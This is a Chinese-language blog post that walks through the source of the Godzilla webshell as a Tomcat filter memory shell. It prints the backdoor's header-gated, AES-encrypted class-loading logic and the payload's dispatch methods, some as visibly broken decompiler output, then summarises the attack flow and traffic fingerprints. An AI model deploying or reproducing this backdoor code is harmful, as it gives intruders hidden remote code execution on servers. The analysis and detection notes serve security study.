回看JMG的时候稍微抽出来专门研究一下,也有想法做一个自己的shellmanager(总得开始吧),看的是filter内存马形式的godzilla,原始Godzilla中和jsp的形式是差不多的。没有把所有源码分析一遍,只是带着tomcat的filter内存马形式去分析godzilla的功能实现。具体的代码分析也卸载了具体的代码块中,希望能够帮助到师傅们。
基础分析 先看整体结构
看属性值。 key pass不用说了,godzilla中的密钥和密码。headerName和headerValue就是gozilla中的请求头检测的变量,主要是通过request.getHeader获取,作用就是一个if判断的事情。
然后是几个关键方法的解析,最重要的就是dofilter里面的逻辑,但是前面几个方法Q(),x()还是得分析一下,不然dofilter会看不懂
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public Class Q (byte [] cb) { return super .defineClass(cb, 0 , cb.length); } public byte [] x(byte [] s, boolean m) { try { Cipher c = Cipher.getInstance("AES" ); c.init(m ? 1 : 2 , new SecretKeySpec (key.getBytes(), "AES" )); return c.doFinal(s); } catch (Exception var4) { return null ; } }
还有一个MD5方法,本质上还是在进行一个MD5加密的形式,最终作用是为了传递密钥和密码,但肯定不能明着传,所以要依靠一些加密功能
1 2 3 4 5 6 7 8 9 10 public static String md5 (String s) { String ret = null ; try { MessageDigest m = MessageDigest.getInstance("MD5" ); m.update(s.getBytes(), 0 , s.length()); ret = (new BigInteger (1 , m.digest())).toString(16 ).toUpperCase(); } catch (Exception var3) { } return ret; }
最后看dofilter的处理逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { HttpServletRequest request = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse) servletResponse; try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { HttpSession session = request.getSession(); byte [] data = base64Decode(request.getParameter(pass)); data = this .x(data, false ); if (session.getAttribute("payload" ) == null ) { session.setAttribute("payload" , (new GodzillaFilter (this .getClass().getClassLoader())).Q(data)); } else { request.setAttribute("parameters" , data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream (); Object f; try { f = ((Class) session.getAttribute("payload" )).newInstance(); } catch (InstantiationException | IllegalAccessException e) { throw new RuntimeException (e); } f.equals(arrOut); f.equals(request); response.getWriter().write(md5.substring(0 , 16 )); f.toString(); response.getWriter().write(base64Encode(this .x(arrOut.toByteArray(), true ))); response.getWriter().write(md5.substring(16 )); } } else { chain.doFilter(servletRequest, servletResponse); } } catch (Exception e) { chain.doFilter(servletRequest, servletResponse); } }
获取Req和Rep之后,开始检测第一关,就是HeaderName和value,这个没什么好说的。而且本身这两个属性值就是没有经过加密的,导致问题的就是如果有人能够dump出这段filter的内存和字节码,将其反编译的话,是能够检索到相关的header(可能也没什么用,但是至少有一定风险)。
然后获取请求包的session,以及请求的参数pass,这里其实是一个特征,如果请求中有一个参数的值为base64的话,其实这个参数就是密码,并且pass中的内容就是恶意字节码的AES加密形式+外面套一层经典的base64
1 2 3 HttpSession session = request.getSession();byte [] data = base64Decode(request.getParameter(pass));data = this .x(data, false );
命令执行回显 之后这一段就涉及哥斯拉命令执行回显的内容了,可以单独作为一个内容来看。虽然我们上面已经分析出来了哥斯拉的命令执行是通过实例化恶意类来实现恶意代码执行的,但是这里的equals方法和toString的调用第一次看确实有点懵懵的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 if (session.getAttribute("payload" ) == null ) { session.setAttribute("payload" , (new GodzillaFilter (this .getClass().getClassLoader())).Q(data)); } else { request.setAttribute("parameters" , data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream (); Object f; try { f = ((Class) session.getAttribute("payload" )).newInstance(); } catch (InstantiationException | IllegalAccessException e) { throw new RuntimeException (e); } f.equals(arrOut); f.equals(request); response.getWriter().write(md5.substring(0 , 16 )); f.toString();
equals equals的方法就是调用一段handle方法,然后里面还会调用一段supportClass方法以及其他的关键方法,这里我们分区域来看。(这里我用的是最原始的godzilla的处理逻辑,有些二开的godz是会不太一样的,这里我们后面会提到)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 public boolean equals (Object obj) { if (obj != null && handle(obj)) { noLog(this .servletContext); return true ; } return false ; } public boolean handle (Object obj) { if (obj == null ) { return false ; } Class<?> cls = class$1 ; if (cls == null ) { try { cls = Class.forName("java.io.ByteArrayOutputStream" ); class$1 = cls; } catch (ClassNotFoundException unused) { throw new NoClassDefFoundError (cls.getMessage()); } } if (cls.isAssignableFrom(obj.getClass())) { this .outputStream = (ByteArrayOutputStream) obj; return false ; } if (supportClass(obj, "%s.servlet.http.HttpServletRequest" )) { this .servletRequest = obj; } else if (supportClass(obj, "%s.servlet.ServletRequest" )) { this .servletRequest = obj; } else { Class<?> cls2 = class$0 ; if (cls2 == null ) { try { cls2 = Class.forName("[B" ); class$0 = cls2; } catch (ClassNotFoundException unused2) { throw new NoClassDefFoundError (cls2.getMessage()); } } if (cls2.isAssignableFrom(obj.getClass())) { this .requestData = (byte []) obj; } else if (supportClass(obj, "%s.servlet.http.HttpSession" )) { this .httpSession = obj; } } handlePayloadContext(obj); if (this .servletRequest != null && this .requestData == null ) { Object obj2 = this .servletRequest; Class[] clsArr = new Class [1 ]; Class<?> cls3 = class$2 ; if (cls3 == null ) { try { cls3 = Class.forName("java.lang.String" ); class$2 = cls3; } catch (ClassNotFoundException unused3) { throw new NoClassDefFoundError (getMessage()); } } clsArr[0 ] = cls3; Object retVObject = getMethodAndInvoke(obj2, "getAttribute" , clsArr, new Object []{"parameters" }); if (retVObject != null ) { Class<?> cls4 = class$0 ; if (cls4 == null ) { try { cls4 = Class.forName("[B" ); class$0 = cls4; } catch (ClassNotFoundException unused4) { throw new NoClassDefFoundError (cls4.getMessage()); } } if (cls4.isAssignableFrom(retVObject.getClass())) { this .requestData = (byte []) retVObject; return true ; } return true ; } return true ; } return true ; } private void handlePayloadContext (Object obj) { try { Method getRequestMethod = getMethodByClass(obj.getClass(), "getRequest" , null ); Method getServletContextMethod = getMethodByClass(obj.getClass(), "getServletContext" , null ); Method getSessionMethod = getMethodByClass(obj.getClass(), "getSession" , null ); if (getRequestMethod != null && this .servletRequest == null ) { this .servletRequest = getRequestMethod.invoke(obj, null ); } if (getServletContextMethod != null && this .servletContext == null ) { this .servletContext = getServletContextMethod.invoke(obj, null ); } if (getSessionMethod != null && this .httpSession == null ) { this .httpSession = getSessionMethod.invoke(obj, null ); } } catch (Exception e) { } } private boolean supportClass (Object obj, String classNameString) { Class c; if (obj == null ) { return false ; } boolean ret = false ; try { Class c2 = getClass(String.format(classNameString, "javax" )); if (c2 != null ) { ret = c2.isAssignableFrom(obj.getClass()); } if (!ret && (c = getClass(String.format(classNameString, "jakarta" ))) != null ) { ret = c.isAssignableFrom(obj.getClass()); } } catch (Exception e) { } return ret; }
整体的equals方法解析完毕了
这里再回顾一下JMG中的godzilla是怎么写服务端的,首先是把ByteArrayOutputStream调用进euals,然后再调用request进equals,所以整体实现了当前恶意类中outputStream
以及requestData
的赋值
但某些版本的godzilla调用equals方法就不太一样,所以这里也是很多二开godzilla喜欢改的地方,但是本质还是通过equals传递具体参数和toString最终命令执行
最后总结一下equals方法的作用:对于传入的参数进行一个可能用到的类型比对,如果传入的参数是ByteArrayOutputStream
,ServletRequest
,HttpSession
的类型,就给对应的内存变量进行赋值。并且如果你是requst类型,还会对其进行参数提取,写入变量parameters
toString 依然还是原版的godzilla中的toString方法,如果说你的godzilla是有二开过的,那应该这里的代码会有所不同。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public String toString () { String returnString = null ; if (this .outputStream != null ) { try { initSessionMap(); GZIPOutputStream gzipOutputStream = new GZIPOutputStream (this .outputStream); formatParameter(); if (this .parameterMap.get("evalNextData" ) != null ) { run(); this .requestData = (byte []) this .parameterMap.get("evalNextData" ); formatParameter(); } gzipOutputStream.write(run()); gzipOutputStream.close(); this .outputStream.close(); } catch (Throwable e) { returnString = e.getMessage(); } } else { returnString = "outputStream is null" ; } 功能执行完毕之后所有用到的变量都要制空。 this .httpSession = null ; this .outputStream = null ; this .parameterMap = null ; this .requestData = null ; this .servletContext = null ; this .servletRequest = null ; this .sessionMap = null ; return returnString; }
上面toString的解析涉及到几个方法的具体内容:
initSessionMap方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private void initSessionMap () { if (this .sessionMap == null ) { if (getSessionAttribute("sessionMap" ) != null ) { try { this .sessionMap = (HashMap) getSessionAttribute("sessionMap" ); } catch (Exception e) { } } else { this .sessionMap = new HashMap (); try { setSessionAttribute("sessionMap" , this .sessionMap); } catch (Exception e2) { } } if (this .sessionMap == null ) { this .sessionMap = new HashMap (); } } }
formatParameter方法:
为什么要对this.parameterMap进行一个格式化呢?因为后续的模块调用和方法执行都是从this.parameterMap中取出对应数据然后去找对应的功能进行调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 public void formatParameter () { int read; this .parameterMap.clear(); this .parameterMap.put("sessionMap" , this .sessionMap); this .parameterMap.put("servletRequest" , this .servletRequest); this .parameterMap.put("servletContext" , this .servletContext); this .parameterMap.put("httpSession" , this .httpSession); byte [] parameterByte = this .requestData; ByteArrayInputStream tStream = new ByteArrayInputStream (parameterByte); ByteArrayOutputStream tp = new ByteArrayOutputStream (); byte [] lenB = new byte [4 ]; try { GZIPInputStream inputStream = new GZIPInputStream (tStream); while (true ) { byte t = (byte ) inputStream.read(); if (t != -1 ) { if (t == 2 ) { String key = new String (tp.toByteArray()); inputStream.read(lenB); int len = bytesToInt(lenB); byte [] data = new byte [len]; int readOneLen = 0 ; do { read = readOneLen + inputStream.read(data, readOneLen, data.length - readOneLen); readOneLen = read; } while (read < data.length); this .parameterMap.put(key, data); tp.reset(); } else { tp.write(t); } } else { tp.close(); tStream.close(); inputStream.close(); return ; } } } catch (Exception e) { } }
run 最终功能执行的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 public byte [] run() { String className; String methodName; try { className = get("evalClassName" ); methodName = get("methodName" ); } catch (Throwable e) { ByteArrayOutputStream stream = new ByteArrayOutputStream (); PrintStream printStream = new PrintStream (stream); e.printStackTrace(printStream); printStream.flush(); printStream.close(); return stream.toByteArray(); } if (methodName != null ) { if (className == null ) { Method method = getClass().getMethod(methodName, null ); ?? returnType = method.getReturnType(); Class<?> cls = class$0 ; if (cls == null ) { try { cls = Class.forName("[B" ); class$0 = cls; } catch (ClassNotFoundException unused) { throw new NoClassDefFoundError (returnType.getMessage()); } } if (returnType.isAssignableFrom(cls)) { return (byte []) method.invoke(this , null ); } return "this method returnType not is byte[]" .getBytes(); } Class evalClass = (Class) this .sessionMap.get(className); if (evalClass != null ) { Object object = evalClass.newInstance(); object.equals(this .parameterMap); object.toString(); Object resultObject = this .parameterMap.get("result" ); if (resultObject != null ) { Class<?> cls2 = class$0 ; if (cls2 == null ) { try { cls2 = Class.forName("[B" ); class$0 = cls2; } catch (ClassNotFoundException unused2) { throw new NoClassDefFoundError (cls2.getMessage()); } } if (cls2.isAssignableFrom(resultObject.getClass())) { return (byte []) resultObject; } return "return typeErr" .getBytes(); } return new byte [0 ]; } return "evalClass is null" .getBytes(); ByteArrayOutputStream stream2 = new ByteArrayOutputStream (); PrintStream printStream2 = new PrintStream (stream2); e.printStackTrace(printStream2); printStream2.flush(); printStream2.close(); return stream2.toByteArray(); } return "method is null" .getBytes(); }
思路总结 只是分析了godzilla很小的一部分,是我认为会影响到我使用的一些点。并且只包括tomcat的filter中间件这一个部分。但是针对于所有的java项目,都是能够动态类加载的,所以恶意功能的使用是不会变的。总的都是payload这一个部分。
且整体的思路也是相通的:
通过某种手段(直接JSP或者反序列化或者其他能够java代码执行的方式)进行恶意组件的注入(filter,listener等)
通过与恶意中间件通信,将恶意功能类–payload加载进去,此时服务端已经注入了我们的恶意功能类
再通过与恶意中间件通信,传入功能参数。这里的功能实现,比如命令执行,文件列举等等都是payload恶意类中的具体方法。所以我们的流量中传入的具体数据就是要调用的具体方法名,具体的参数
所以按照如上思路,godzilla的流量特征其实也很明确:恶意中间件注入之后,会有一大段的参数数据传过来,这个就是恶意类payload,之后的通信,除了加载插件扩展类有的时候需要一次性传入大量的字节码内容,其余执行功能的流量都是很小的。
留下的问题 // 修复使用 Godzilla 插件时 "evalClass is null" 的 Bug, f.equals(data); -> f.equals(request);
这是JMG中godzilla模块filter模板中的一段注释,正文讲到的时候我说会留下这个伏笔后面讲,但是直到最后我两种情况(去掉注释,按照原来的传入data参数进行扩展类的加载;不去掉注释,传入request进行扩展类加载)都分析过一遍之后,我觉得两者没有区别。可能相关的不同点中,我选定了httpsession,但它的有无 不影响具体扩展类的加载,他所提出的这段报错也是run()方法中关于Class evalClass = (Class) this.sessionMap.get(className);
没有获取到恶意扩展类名,最后return "evalClass is null".getBytes();
的结果。
我所认为的扩展类加载是判定出evalNextData
,先调用正常功能方法–include,将恶意字节码加载进this.sessionMap
中,然后再formatParameter();
一次,将evilClassName解析出来,开始再调用一遍run方法,Class evalClass = (Class) this.sessionMap.get(className);
加载到扩展恶意类,然后开始进行方法调用
finally,我觉得这不是问题,只是我没有用godilla自己去试一遍,然后抓一遍流量。